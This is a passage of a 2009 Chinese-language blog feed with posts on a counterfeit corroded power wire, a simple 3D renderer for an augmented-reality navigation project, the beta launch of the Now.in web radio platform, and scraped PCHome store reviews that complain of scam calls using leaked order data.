			<content:encoded><![CDATA[<p>今天在忙著趕畢業專題的電子羅盤時，一直有鬼打牆的情況發生，沒多久前還運作得好好的，一下子突然停掉了，一開始我以為是麵包板上的線插壞或鬆了，花了我一整個晚上在找問題的來源，我拿著三用電錶到處量電壓，終於，最後我發現，一條USB接過來的電源線，在某個鱷魚夾還有將近5V的電壓，但經過某條線之後，電壓就有很大的機會變得很低，那條線很敏感，只要稍微扯動一下，電壓就會變很低，拉USB當電源線，是因為電子羅盤需要5V的電壓驅動，之所以會一下子能運作，一下子運作不了，就是那條線造成的，一開始我認為是接頭觸鬆掉了，於是將金屬接頭的螺斯鬆開，打算截掉後面一點的外皮，再重接上去，然而，當我把金屬接頭拿下來，用剪刀在絕緣外皮切一圈，接著轉動外皮要將它拔下來，其中一條線很容易就把皮轉下來，裡面亮晶晶的銅線露了出來，而另一條線，一轉裡面的導線就斷了，一開始我認為應該是我切深所以斷掉了，再往後面的地方截，下場也是一樣，於是我發現，那條一截就斷的線，之所以會斷是以經繡蝕得很嚴重了，我一開始認為，應該只是因為較接近終端，所以有空氣跑進去讓它生鏽了，於是再往更後面截，截了好幾次，都遇到這種生鏽的線，開始覺得不對勁，那線生鏽到粉狀的地部了，都已經切這麼後面了，絕緣外皮還好好的，沒理由線會鏽成那樣，而且比照另外一條線，是亮晶晶的狀態</p>
<p><a href="http://blog.ez2learn.com/wp-content/uploads/2009/12/IMAG0177.jpg"><img class="alignnone size-large wp-image-902" title="IMAG0177" src="http://blog.ez2learn.com/wp-content/uploads/2009/12/IMAG0177-682x1024.jpg" alt="IMAG0177" width="682" height="1024" /></a></p>
<p>而到了更後面點的地方，原本沒鏽的線生鏽了，生鏽的線那條到那裡變沒鏽了，仔細想想，銅生鏽好像是綠色的，所以那好像也不是生鏽，我開始想，這一點都不像是後來才變成這樣的，像是一開始包進去時就是這個樣子，搜尋了一下』黑心電線』，果不其然，發現大陸果然有黑心電線</p>
<h3><a href="http://s.bbs.sina.com.cn/pview-68-29221.html">湖北红旗电缆有限责任公司生产销售的』黑心』电线</a></h3>
<p>情況也很類似，包廢線進去，都已經截到這麼後面了，線還是鏽的，我只能說，這百分之九十九是黑心電線，為了這條黑心電線，我浪費了整個晚上在找出問題在哪，好樣的黑心電線，就感心</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ez2learn.com/2009/12/08/suck-wire/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>嵌入式平台實作簡易的立體成像系統</title>
		<link>http://blog.ez2learn.com/2009/11/17/simple-3d-rendering-system-based-on-embedded-system/</link>
		<comments>http://blog.ez2learn.com/2009/11/17/simple-3d-rendering-system-based-on-embedded-system/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 12:11:46 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[專題]]></category>
		<category><![CDATA[3D]]></category>
		<category><![CDATA[嵌入式]]></category>
		<category><![CDATA[renderering]]></category>
		<category><![CDATA[windows ce]]></category>

		<guid isPermaLink="false">http://blog.ez2learn.com/?p=894</guid>
		<description><![CDATA[畢業專題的發表越來越近了，所以得花更多時間在專題上，我們專題所做的題目是』基於嵌入式平臺的擴增實境導航系統』，說明白一點就是在windows CE的平台下做擴增實境的導航系統，所謂的擴增實境，就是結合虛擬和真實的畫面所程現的一種人機介面，在網路上都可以找到很多資料，在此就不多做解釋，比起一般的導航系統，通常呈現出來的都只是虛擬的畫面，駕駛人必需要腦子裡自己將導航系統上顯示的資訊和所看到的東西進行整合，而如果是擴增實境，我們可以將路面的資訊直接合成到架在車子上的攝影機所拍到的畫面上，就可以更直覺地讓駕駛人瞭解導航的資訊，當然這些都只是理論而已，真的做出效果如何其實我也不知道，到目前為止好像沒看到有人用擴增實境來做導航，因此我們就決定做這個題目，多了攝影機還有一個額外的好處就是，還可以順便做行車記錄系統
對於嵌入式系統，其實我個人並不是很喜歡在那樣的環境下寫程式，要什麼沒什麼，綁手綁腳的感覺，很多東西都得自己來，其中很麻煩的一點就是，就是3D繪圖能力的支援，雖然Windows CE後面一點的版本似乎有支援DirectX，不過似乎不是支援的很好，而且沒硬體的話到頭來他應該也只是用軟體下去，我們需要的3D效果不多，材質打光什麼的都用不到，因此我們決定自己寫一個簡易的立體成像系統
做了這樣的決定後，我們在不久前寫出來了，其實立體成像的基本原理很簡單，有高中的數學基礎就夠了，有空我再來寫一些關於3D影象的成像原理的介紹，以下是程式的截圖和screencast


目前畫面還有點醜，因為只有單純的把路線一段一段的線段丟在空間裡轉成矩形而已，而這demo的畫面位置和角度是靠鍵盤控制的，等GPS整合進來時，車子只要移動畫面就會跟著動，到目前為止看起來還是和視面上的導航系統看起來沒兩樣，不過當我將白色的背景以攝影機拍到的畫面取代，然後調整投影的參數讓畫面盡量貼合拍到的畫面，這樣就有擴增實境的效果
]]></description>
			<content:encoded><![CDATA[<p>畢業專題的發表越來越近了，所以得花更多時間在專題上，我們專題所做的題目是』基於嵌入式平臺的擴增實境導航系統』，說明白一點就是在windows CE的平台下做擴增實境的導航系統，所謂的擴增實境，就是結合虛擬和真實的畫面所程現的一種人機介面，在網路上都可以找到很多資料，在此就不多做解釋，比起一般的導航系統，通常呈現出來的都只是虛擬的畫面，駕駛人必需要腦子裡自己將導航系統上顯示的資訊和所看到的東西進行整合，而如果是擴增實境，我們可以將路面的資訊直接合成到架在車子上的攝影機所拍到的畫面上，就可以更直覺地讓駕駛人瞭解導航的資訊，當然這些都只是理論而已，真的做出效果如何其實我也不知道，到目前為止好像沒看到有人用擴增實境來做導航，因此我們就決定做這個題目，多了攝影機還有一個額外的好處就是，還可以順便做行車記錄系統</p>
<p>對於嵌入式系統，其實我個人並不是很喜歡在那樣的環境下寫程式，要什麼沒什麼，綁手綁腳的感覺，很多東西都得自己來，其中很麻煩的一點就是，就是3D繪圖能力的支援，雖然Windows CE後面一點的版本似乎有支援DirectX，不過似乎不是支援的很好，而且沒硬體的話到頭來他應該也只是用軟體下去，我們需要的3D效果不多，材質打光什麼的都用不到，因此我們決定自己寫一個簡易的立體成像系統</p>
<p>做了這樣的決定後，我們在不久前寫出來了，其實立體成像的基本原理很簡單，有高中的數學基礎就夠了，有空我再來寫一些關於3D影象的成像原理的介紹，以下是程式的截圖和screencast</p>
<p><a href="http://blog.ez2learn.com/wp-content/uploads/2009/11/nav.PNG"><img class="alignnone size-full wp-image-895" title="nav" src="http://blog.ez2learn.com/wp-content/uploads/2009/11/nav.PNG" alt="nav" width="484" height="389" /></a></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/Z58YGty4ThA&amp;hl=zh&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/Z58YGty4ThA&amp;hl=zh&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>目前畫面還有點醜，因為只有單純的把路線一段一段的線段丟在空間裡轉成矩形而已，而這demo的畫面位置和角度是靠鍵盤控制的，等GPS整合進來時，車子只要移動畫面就會跟著動，到目前為止看起來還是和視面上的導航系統看起來沒兩樣，不過當我將白色的背景以攝影機拍到的畫面取代，然後調整投影的參數讓畫面盡量貼合拍到的畫面，這樣就有擴增實境的效果</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ez2learn.com/2009/11/17/simple-3d-rendering-system-based-on-embedded-system/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Now.in 網路廣播平台 Beta!</title>
		<link>http://blog.ez2learn.com/2009/11/08/now-in-beta/</link>
		<comments>http://blog.ez2learn.com/2009/11/08/now-in-beta/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 13:25:50 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[分享]]></category>
		<category><![CDATA[平台]]></category>
		<category><![CDATA[網路電台]]></category>
		<category><![CDATA[radio]]></category>
		<category><![CDATA[Web radio]]></category>

		<guid isPermaLink="false">http://blog.ez2learn.com/?p=891</guid>
		<description><![CDATA[在我大一時，我偶然聽到PTT上別人架的網路電台，當時我就覺得很有趣，感覺很棒，當時我就在想，如果下班回家，一開電腦就有各種電台可以聽，應該相當不錯，但是網路電台不是人人架的起的，需要有的伺服器，需要有頻寬，需要有架站的知識，對一般人而言是遙不可及的，為此，我就想如果我能提供一個平台，讓任何人都能輕易地開設網路電台，會是一件相當不錯的事，於是，動心起念，空想成不了事，我就開始尋找適何的技術，試過了不少東西，前陣子終於可以上線了，不過我近來都很忙，一直都還沒把它推上線，到今天，我決定先以BETA版上線
Now.in 網路廣播平台
如何成為DJ?
在我的平台要要成為DJ並開設一個網路電台很簡單，只要先到
註冊頁面
去填寫基本資料，接著應該會收到一封啟動帳號的信，然後點擊啟動連結，啟動你的帳號，接著下載我寫的專門用來廣播用的軟體Mr. DJ
下載Mr. DJ
下載完成後解壓縮，執行mrdj.exe後輸入帳號密碼，就可以開始廣播了，你的電台頁面，會是在
http://now.in/radio/你的帳號
疑難排解
目前因為在beta階段，所以可能會有些bug和無預警停機的可能，在此先說聲抱歉，目前已知問題有

收不到認證信

不知道是會被當做垃圾信還怎樣，我發現有些信箱收不到認證信，我自己用gmail是可以收到的，如果你沒辦法收到認證信，先在垃圾郵件信箱裡找找，如果找不到，請以申請時的信箱來信以下信箱

並註名說需要啟動now.in的帳號，我會依照你的信箱找到你的帳號用gmail手動發一個認證信給你

Mr. DJ無法啟動 遇到 『Error loading Python DLL: python26.dll (error code 14001)』 錯誤

如果你遇到這個錯誤，八成是少了VC9的runtime所引起的，請下載
Microsoft Visual C++ 2008 Redistributable Package
並安裝後再執行應該就可以解決
其它問題與意見
當你遇到其它問題或意見時，歡迎來信

]]></description>
			<content:encoded><![CDATA[<p>在我大一時，我偶然聽到PTT上別人架的網路電台，當時我就覺得很有趣，感覺很棒，當時我就在想，如果下班回家，一開電腦就有各種電台可以聽，應該相當不錯，但是網路電台不是人人架的起的，需要有的伺服器，需要有頻寬，需要有架站的知識，對一般人而言是遙不可及的，為此，我就想如果我能提供一個平台，讓任何人都能輕易地開設網路電台，會是一件相當不錯的事，於是，動心起念，空想成不了事，我就開始尋找適何的技術，試過了不少東西，前陣子終於可以上線了，不過我近來都很忙，一直都還沒把它推上線，到今天，我決定先以BETA版上線</p>
<p><a href="http://now.in/">Now.in 網路廣播平台</a></p>
<h2>如何成為DJ?</h2>
<p>在我的平台要要成為DJ並開設一個網路電台很簡單，只要先到</p>
<p><a href="http://now.in/guest/register/form">註冊頁面</a></p>
<p>去填寫基本資料，接著應該會收到一封啟動帳號的信，然後點擊啟動連結，啟動你的帳號，接著下載我寫的專門用來廣播用的軟體Mr. DJ</p>
<p><a href="http://static.ez2learn.com/now.in/mrdj.zip">下載Mr. DJ</a></p>
<p>下載完成後解壓縮，執行mrdj.exe後輸入帳號密碼，就可以開始廣播了，你的電台頁面，會是在</p>
<p>http://now.in/radio/你的帳號</p>
<h2>疑難排解</h2>
<p>目前因為在beta階段，所以可能會有些bug和無預警停機的可能，在此先說聲抱歉，目前已知問題有</p>
<ul>
<li>收不到認證信</li>
</ul>
<p style="padding-left: 60px;">不知道是會被當做垃圾信還怎樣，我發現有些信箱收不到認證信，我自己用gmail是可以收到的，如果你沒辦法收到認證信，先在垃圾郵件信箱裡找找，如果找不到，請以申請時的信箱來信以下信箱</p>
<p style="padding-left: 60px;"><img src="http://blog.ez2learn.com/wp-content/themes/mistylook/img/email.png" alt="" width="155" height="21" /></p>
<p style="padding-left: 60px;">並註名說需要啟動now.in的帳號，我會依照你的信箱找到你的帳號用gmail手動發一個認證信給你</p>
<ul>
<li>Mr. DJ無法啟動 遇到 『Error loading Python DLL: python26.dll (error code 14001)』 錯誤</li>
</ul>
<p style="padding-left: 60px;">如果你遇到這個錯誤，八成是少了VC9的runtime所引起的，請下載</p>
<p style="padding-left: 60px;"><a href="http://www.microsoft.com/downloads/details.aspx?familyid=9B2DA534-3E03-4391-8A4D-074B9F2BC1BF&amp;displaylang=en">Microsoft Visual C++ 2008 Redistributable Package</a></p>
<p style="padding-left: 60px;">並安裝後再執行應該就可以解決</p>
<h2>其它問題與意見</h2>
<p>當你遇到其它問題或意見時，歡迎來信</p>
<p><img src="http://blog.ez2learn.com/wp-content/themes/mistylook/img/email.png" alt="" width="155" height="21" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.ez2learn.com/2009/11/08/now-in-beta/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>PCHome商店街與商店街的店家們，你們是詐騙集團的幫兇</title>
		<link>http://blog.ez2learn.com/2009/10/23/pchome-and-stores-suck/</link>
		<comments>http://blog.ez2learn.com/2009/10/23/pchome-and-stores-suck/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 18:06:55 +0000</pubDate>
		<dc:creator>victor</dc:creator>
				<category><![CDATA[分享]]></category>

		<guid isPermaLink="false">http://blog.ez2learn.com/?p=885</guid>
		<description><![CDATA[前陣子我才寫了一篇到底是誰賣了你的購物資料，到了今天，詐騙的事件有增無減，PCHome和PCHome的店家們完全一點反省、檢討與改進都沒有，跟以往一樣，把責任全推給消費者，今天，我要戳破他們的謊言，這一切是因為我看到了一篇關於PCHome詐騙事件的報導，PCHome如是說
個資又不是氣體，絕不會從平台外洩出去。
來自 http://www.itis.tw/node/3282
那種無所謂還當笑話看的態度真的令人火冒三丈，說真的，資訊安全很難做到百分之一百，但是最起碼基本的努力與態度是該有的，請問PCHome那是什麼鬼態度? 你們到底又做了什麼樣的努力? 明明知道一直有詐騙事件不停的在PCHome平台上發生，居然還說得出這種鬼話，PCHome商店街的店家也是，反正一律推給消費者就對了，反正要證明到底是誰把資料流出去很困難，雖然難以證明，但數據會說話，我發現有越來越多人在PCHome購物最近接到詐騙電話，所以把我之前寫的小爬蟲拿出來在今天再跑一次，我再說明一次我爬蟲的規則，他會跑過所有店家的負評列表第一頁，因為負評的數量不多，所以大部份店家的負評應該都數量很少，最新一頁就包含了幾年的負評，而負評抓完後我會用程式過濾出有』詐騙』字眼的負評，但因為有部份是出貨太慢被消費者抱怨他們是不是遇到詐騙，所以再一次經過手動過濾，以下是最新抓到的結果
負評資料
2009-07-06 05:09:32 http://store.pchome.com.tw/topoffice/HM/eval.htm?evalType=B
我本來要寫優良的!
但是很不巧&#8230;我今天接到詐騙集團的電話!
他很清楚告知我買了什麼東西,金額和數量!
當然方式還是&#8230;一樣! 又說你付的方式 變成分期付款! 不處理會被扣很多錢!
我不知道是Pchome還是貴公司的問題!
購買你家的東西&#8230;客戶資料會被洩漏光光!
請其他人要小心此情況!
2009-10-16 03:10:20 http://store.pchome.com.tw/dashop/HM/eval.htm?evalType=B
個人資料外漏。自收貨來己三次受到詐騙電騷擾。
騷擾時，對方對於單價，出貨日，品項資料非常清楚。
2009-09-03 18:54:32 http://store.pchome.com.tw/dashop/HM/eval.htm?evalType=B
我於8/26訂購商品一項,但不到一個月就接到詐騙電話,為什麼所有的訂購資料詐騙集團可取得,我在Pchomeh的線上購物或商店街亦購買了許多東西,亦在其他網站購物,唯獨在貴店出狀況,請貴店注意買方的資料勿外漏,謝謝.
2009-09-17 20:57:59 http://store.pchome.com.tw/dashop/HM/eval.htm?evalType=B
我上個月買一顆電池, 今天就接到詐騙電話, 為何對方會知道詳細交易內容? 煩請加強你們的交易資料保密, 謝謝!
2009-08-13 03:10:23 http://store.pchome.com.tw/dashop/HM/eval.htm?evalType=B
商品品質:產品質量太差太粗糙,買回來一裝,把我上千元的手把控制器整個磨損!!
洞大小根本不對,難放入更難拔出!!太可怕了!!
貪圖東西便宜,到頭來卻是當垃圾丟了!!
而且還造成原來搖控器的損壞,最後實在是虧更大!!!
今晚還莫名其妙接到廠商打來說付款有問題,錢都從我信用卡裡扣了!還有啥問題?!!
麻煩廠商下次自行先查清楚,這年頭詐騙太多,沒事別亂打給顧客說款項有問題,害我差點報警!!
2009-10-17 03:10:59 http://store.pchome.com.tw/bigwoman/HM/eval.htm?evalType=B
商品品質,網路安全不足,客戶基本資料外洩,受詐騙集團搔擾,應加強保護客戶購物安全購物
2008-05-06 22:10:52 http://store.pchome.com.tw/sunlead/HM/eval.htm?evalType=B
出貨及產品都不錯．
可是：你們把客戶的資料洩漏出去了！詐騙集團已經用這些交易資料在行騙了，
請趕快設法補救！（用０２－７７２３８５８５的電話）
2009-09-02 14:45:01 http://store.pchome.com.tw/yuti/HM/eval.htm?evalType=B
接獲詐騙集團電話..嚴重懷疑pchome商店街系統洩漏個人資料
往後將會慎重考慮是否繼續在pchome商店街購物
謝
2009-08-24 03:10:28 http://store.pchome.com.tw/mandyshop/HM/eval.htm?evalType=B
客服態度不錯，但我的定安資料卻外流了，
還遇到詐騙集團，整個不開心!
2009-07-10 11:54:21 http://store.pchome.com.tw/mandyshop/HM/eval.htm?evalType=B
今天(98.08.30)PM10:04接到大陸口音女子的詐騙電話,心
2009-09-01 03:10:13 http://store.pchome.com.tw/epnet/HM/eval.htm?evalType=B
商品是不錯用!但是已經購買一個多月了.竟還會接到詐騙電話!感受很差!!這是為什麼?請給個合理的理由!!謝謝!!
2009-09-20 21:37:11 http://store.pchome.com.tw/e2861996/HM/eval.htm?evalType=B
我跟你們 買牛肉幹乾這事! 為何詐騙集團會知道? 竟然被詐騙集團利用 打電話 給我來行騙!
我想請教! 我的個資為何從你那邊流出去?
我的地址!電話 交易項目 金額 信用卡公司,&#8230;都給詐騙集團知道了!
對我的安全有很大影響!
打電話給你們 卻是推的一甘二淨!!
超級不負責任!!
2009-09-19 03:10:41 http://store.pchome.com.tw/jklife/HM/eval.htm?evalType=B
商品出現兩次失效，裝上去毫無反應。放置一段時間再裝上又可使用。
一個月內接到兩次詐騙電話，一打來就清楚說我在幾月幾號買了這項產品刷了多少錢&#8230;&#8230;.
心情很差，不知道還會接到幾次&#8230;
2007-11-13 11:10:38 http://store.pchome.com.tw/abcd1119/HM/eval.htm?evalType=B
我這才發現原來我接到的那通電話也是詐騙集團打來的!!
本人在此鄭重表達對貴公司以及PChome商店街的嚴重不滿與抗議!!
我們都是基於信任貴司與PChome商店街交易平台的安全性才在此消費,
現在我們的手機以及其他個人資料全被盜取,
請問貴公司以及PChome商店街要怎麼負責與解決??!
2007-11-12 14:55:15 http://store.pchome.com.tw/abcd1119/HM/eval.htm?evalType=B
你們公司把我的交易資料外洩,害詐騙集團打來騷擾我,
他們明確說出我在何時,跟你們購買了這組電蚊拍,還問我使用狀況
接著騙我說我的交易紀錄出問題,說你們的交易平台異常,還我一次付清的方式變成分期,
要我去ATM取得交易明細表,還有上面的經辦證號與時間,才能做取消分期,
後來我去查證才知道是詐騙,
請大家要小心在這家商店購物時的資料外洩問題!!!!
2009-09-29 03:10:11 http://store.pchome.com.tw/elive/HM/eval.htm?evalType=B
上個禮拜收到詐騙集團的電話 大陸口音 說扣款有問題 [...]]]></description>
			<content:encoded><![CDATA[<p>前陣子我才寫了一篇<a href="http://blog.ez2learn.com/2009/09/24/who-sells-your-shopping-information/">到底是誰賣了你的購物資料</a>，到了今天，詐騙的事件有增無減，<strong>PCHome和PCHome的店家們完全一點反省、檢討與改進都沒有，跟以往一樣，把責任全推給消費者</strong>，今天，<strong>我要戳破他們的謊言</strong>，這一切是因為我看到了一篇關於PCHome詐騙事件的報導，PCHome如是說</p>
<blockquote><p>個資又不是氣體，絕不會從平台外洩出去。</p></blockquote>
<p>來自 <a href="http://www.itis.tw/node/3282">http://www.itis.tw/node/3282</a></p>
<p>那種無所謂還當笑話看的態度真的令人火冒三丈，說真的，<strong>資訊安全很難做到百分之一百，但是最起碼基本的努力與態度是該有的</strong>，請問PCHome那是什麼鬼態度? 你們到底又做了什麼樣的努力? 明明知道一直有詐騙事件不停的在PCHome平台上發生，居然還說得出這種鬼話，PCHome商店街的店家也是，反正一律推給消費者就對了，反正<strong>要證明到底是誰把資料流出去很困難</strong>，雖然難以證明，但<strong>數據會說話</strong>，我發現有越來越多人在PCHome購物最近接到詐騙電話，所以把我之前寫的小爬蟲拿出來在今天再跑一次，我再說明一次我爬蟲的規則，他會跑過所有店家的負評列表第一頁，因為負評的數量不多，所以大部份店家的負評應該都數量很少，最新一頁就包含了幾年的負評，而負評抓完後我會用程式過濾出有』詐騙』字眼的負評，但因為有部份是出貨太慢被消費者抱怨他們是不是遇到詐騙，所以再一次經過手動過濾，以下是最新抓到的結果</p>
<h2>負評資料</h2>
<p>2009-07-06 05:09:32 http://store.pchome.com.tw/topoffice/HM/eval.htm?evalType=B<br />
我本來要寫優良的!<br />
但是很不巧&#8230;我今天接到詐騙集團的電話!<br />
他很清楚告知我買了什麼東西,金額和數量!<br />
當然方式還是&#8230;一樣! 又說你付的方式 變成分期付款! 不處理會被扣很多錢!<br />
我不知道是Pchome還是貴公司的問題!<br />
購買你家的東西&#8230;客戶資料會被洩漏光光!<br />
請其他人要小心此情況!</p>
<p>2009-10-16 03:10:20 http://store.pchome.com.tw/dashop/HM/eval.htm?evalType=B<br />
個人資料外漏。自收貨來己三次受到詐騙電騷擾。<br />
騷擾時，對方對於單價，出貨日，品項資料非常清楚。</p>
<p>2009-09-03 18:54:32 http://store.pchome.com.tw/dashop/HM/eval.htm?evalType=B<br />
我於8/26訂購商品一項,但不到一個月就接到詐騙電話,為什麼所有的訂購資料詐騙集團可取得,我在Pchomeh的線上購物或商店街亦購買了許多東西,亦在其他網站購物,唯獨在貴店出狀況,請貴店注意買方的資料勿外漏,謝謝.</p>
<p>2009-09-17 20:57:59 http://store.pchome.com.tw/dashop/HM/eval.htm?evalType=B<br />
我上個月買一顆電池, 今天就接到詐騙電話, 為何對方會知道詳細交易內容? 煩請加強你們的交易資料保密, 謝謝!</p>
<p>2009-08-13 03:10:23 http://store.pchome.com.tw/dashop/HM/eval.htm?evalType=B<br />
商品品質:產品質量太差太粗糙,買回來一裝,把我上千元的手把控制器整個磨損!!<br />
洞大小根本不對,難放入更難拔出!!太可怕了!!<br />
貪圖東西便宜,到頭來卻是當垃圾丟了!!<br />
而且還造成原來搖控器的損壞,最後實在是虧更大!!!<br />
今晚還莫名其妙接到廠商打來說付款有問題,錢都從我信用卡裡扣了!還有啥問題?!!<br />
麻煩廠商下次自行先查清楚,這年頭詐騙太多,沒事別亂打給顧客說款項有問題,害我差點報警!!</p>
<p>2009-10-17 03:10:59 http://store.pchome.com.tw/bigwoman/HM/eval.htm?evalType=B<br />
商品品質,網路安全不足,客戶基本資料外洩,受詐騙集團搔擾,應加強保護客戶購物安全購物</p>
<p>2008-05-06 22:10:52 http://store.pchome.com.tw/sunlead/HM/eval.htm?evalType=B<br />
出貨及產品都不錯．</p>
<p>可是：你們把客戶的資料洩漏出去了！詐騙集團已經用這些交易資料在行騙了，</p>
<p>請趕快設法補救！（用０２－７７２３８５８５的電話）</p>
<p>2009-09-02 14:45:01 http://store.pchome.com.tw/yuti/HM/eval.htm?evalType=B<br />
接獲詐騙集團電話..嚴重懷疑pchome商店街系統洩漏個人資料<br />
往後將會慎重考慮是否繼續在pchome商店街購物<br />
謝</p>
<p>2009-08-24 03:10:28 http://store.pchome.com.tw/mandyshop/HM/eval.htm?evalType=B<br />
客服態度不錯，但我的定安資料卻外流了，<br />
還遇到詐騙集團，整個不開心!</p>
<p>2009-07-10 11:54:21 http://store.pchome.com.tw/mandyshop/HM/eval.htm?evalType=B<br />
今天(98.08.30)PM10:04接到大陸口音女子的詐騙電話,心</p>
<p>2009-09-01 03:10:13 http://store.pchome.com.tw/epnet/HM/eval.htm?evalType=B<br />
商品是不錯用!但是已經購買一個多月了.竟還會接到詐騙電話!感受很差!!這是為什麼?請給個合理的理由!!謝謝!!</p>
<p>2009-09-20 21:37:11 http://store.pchome.com.tw/e2861996/HM/eval.htm?evalType=B<br />
我跟你們 買牛肉幹乾這事! 為何詐騙集團會知道? 竟然被詐騙集團利用 打電話 給我來行騙!<br />
我想請教! 我的個資為何從你那邊流出去?<br />
我的地址!電話 交易項目 金額 信用卡公司,&#8230;都給詐騙集團知道了!<br />
對我的安全有很大影響!<br />
打電話給你們 卻是推的一甘二淨!!<br />
超級不負責任!!</p>
<p>2009-09-19 03:10:41 http://store.pchome.com.tw/jklife/HM/eval.htm?evalType=B<br />
商品出現兩次失效，裝上去毫無反應。放置一段時間再裝上又可使用。<br />
一個月內接到兩次詐騙電話，一打來就清楚說我在幾月幾號買了這項產品刷了多少錢&#8230;&#8230;.<br />
心情很差，不知道還會接到幾次&#8230;</p>
<p>2007-11-13 11:10:38 http://store.pchome.com.tw/abcd1119/HM/eval.htm?evalType=B<br />
我這才發現原來我接到的那通電話也是詐騙集團打來的!!<br />
本人在此鄭重表達對貴公司以及PChome商店街的嚴重不滿與抗議!!<br />
我們都是基於信任貴司與PChome商店街交易平台的安全性才在此消費,<br />
現在我們的手機以及其他個人資料全被盜取,<br />
請問貴公司以及PChome商店街要怎麼負責與解決??!</p>
<p>2007-11-12 14:55:15 http://store.pchome.com.tw/abcd1119/HM/eval.htm?evalType=B<br />
你們公司把我的交易資料外洩,害詐騙集團打來騷擾我,<br />
他們明確說出我在何時,跟你們購買了這組電蚊拍,還問我使用狀況<br />
接著騙我說我的交易紀錄出問題,說你們的交易平台異常,還我一次付清的方式變成分期,<br />
要我去ATM取得交易明細表,還有上面的經辦證號與時間,才能做取消分期,<br />
後來我去查證才知道是詐騙,</p>
<p>請大家要小心在這家商店購物時的資料外洩問題!!!!</p>
<p>2009-09-29 03:10:11 http://store.pchome.com.tw/elive/HM/eval.htm?evalType=B<br />
上個禮拜收到詐騙集團的電話 大陸口音 說扣款有問題 要退錢給我之類的&#8230; 他們說的姓名 產品 價錢竟然都正確&#8230; 強烈懷疑你們資料有外露!! 所以給你負評</p>
<p>2009-10-06 09:14:46 http://store.pchome.com.tw/elive/HM/eval.htm?evalType=B<br />
上個禮拜收到詐騙集團的電話 大陸口音 說扣款有問題 要退錢給我之類的&#8230; 他們說的姓名 產品 價錢竟然都正確&#8230; 強烈懷疑你們資料有外漏!! 所以給你負評</p>
<p>謝謝您的回覆~ 但我不知道要相信誰或相信哪種說法 『攔截email』 聽起來已經很扯&#8230; 所以並沒有改變我對你們評價的理由&#8230; 況且這會不會是只有你們這家跟PCHome才會發生這樣的意外呢?? 別家都不會呢? 我不知道&#8230; 我只知道 我過去在PCHome消費很多次 從來沒有過這樣的事情&#8230; 你們是第一次&#8230; 我只是針對發生在我身上的例子告訴大家跟你們交易有個資外洩的疑慮 而且確實已經發生了!! 要大家跟你們交易時三思 這就是評鑑系統的目地 就是要反應事實 請見諒</p>
<p>2009-10-06 20:17:22 http://store.pchome.com.tw/yi_cheng/HM/eval.htm?evalType=B<br />
自從買了貴店家的產品，即已接到兩通「詐騙電話」！<br />
因為是經由pchome及貴店家購買，所以請你們都要對這件事負責。<br />
(如果不是你們負責解決問題，難道要由我們顧客解決嗎？)</p>
<p>2009-09-21 22:01:38 http://store.pchome.com.tw/tge505/HM/eval.htm?evalType=B<br />
今天接到所謂客服來電，表明了解此次購物，但說到後來就成了詐騙電話，說我會被每月扣款…。我想你們系統也太差了，個資馬上外洩。</p>
<p>2008-01-06 23:51:55 http://store.pchome.com.tw/inenjoy/HM/eval.htm?evalType=B<br />
該商家漠視消費者權益使客戶資料外洩導至接到詐騙電話，告知店家還回覆網路世界無孔不入.很抱歉.讓大家權益受損.只要大家小心別上當.謝謝。如果真的詐騙成功不知道該找誰，跟別的店家買比較安全。</p>
<p>2007-12-27 20:59:34 http://store.pchome.com.tw/inenjoy/HM/eval.htm?evalType=B<br />
物美價廉,值得推薦<br />
客戶資料外洩，遭詐騙集團call in，資安須加強。<br />
2009-10-19 09:46:11 http://store.pchome.com.tw/egoton/HM/eval.htm?evalType=B<br />
客服態度<br />
過程中客戶資訊外洩,被詐騙集團利用,已反應店家至今尚未得到PChome Online 的任何回應,顯現經營者並不重視消費者的敷衍心態.</p>
<p>2009-03-19 14:23:27 http://store.pchome.com.tw/ezbon/HM/eval.htm?evalType=B<br />
貨收到後第二天接到一通詐騙電話,被我識破後還被那女生罵髒話))&amp;^%&amp;*^$*&amp;()&#8230;.貴公司的客戶資料應該加強保護.</p>
<p>2009-08-24 03:10:24 http://store.pchome.com.tw/pc123456/HM/eval.htm?evalType=B<br />
我今天收到詐騙電話</p>
<p>對方聲稱 我於貴商店購買的耳機付款有問題.<br />
會造成連續扣款.</p>
<p>我想了解貴商店的資料是如何洩漏出去的?</p>
<p>2009-08-25 17:00:24 http://store.pchome.com.tw/pc123456/HM/eval.htm?evalType=B<br />
我接到詐騙電話 聲稱我於貴商店購買的 『JABRA BT-530~全新遠寬公司貨~ 原廠[一對二]A2DP 抗燥音藍牙耳機BT530&#8243; 商品,誤辦理為分期.要求我要操作 ATM.</p>
<p>我於兩週前通知貴商店,並請貴商店了解資料是如何外洩的.可貴商店置之不理.</p>
<p>貴商店漠視此一資料外洩事件的態度令人感到匪夷所思.</p>
<p>貴商店既然沒有誠意想改善與了解此個人資料外洩的問題.我也不會再貴商店繼續購物.以免個人資料繼續外流.</p>
<p>2009-10-01 03:10:15 http://store.pchome.com.tw/kimo_battery/HM/eval.htm?evalType=B<br />
請注意帳號安全性 已下評價並非本人給出<br />
評價等級： 優良 (2009/10/01 03:10:15)<br />
並不會在半夜三點給評價 請注意<br />
也有接到客服來電 告知刷卡問題有誤 還須繳11期198元的費用<br />
請協助處理 這是詐騙吧~~~~~~~</p>
<p>2009-10-01 18:56:05 http://store.pchome.com.tw/kkto68/HM/eval.htm?evalType=B<br />
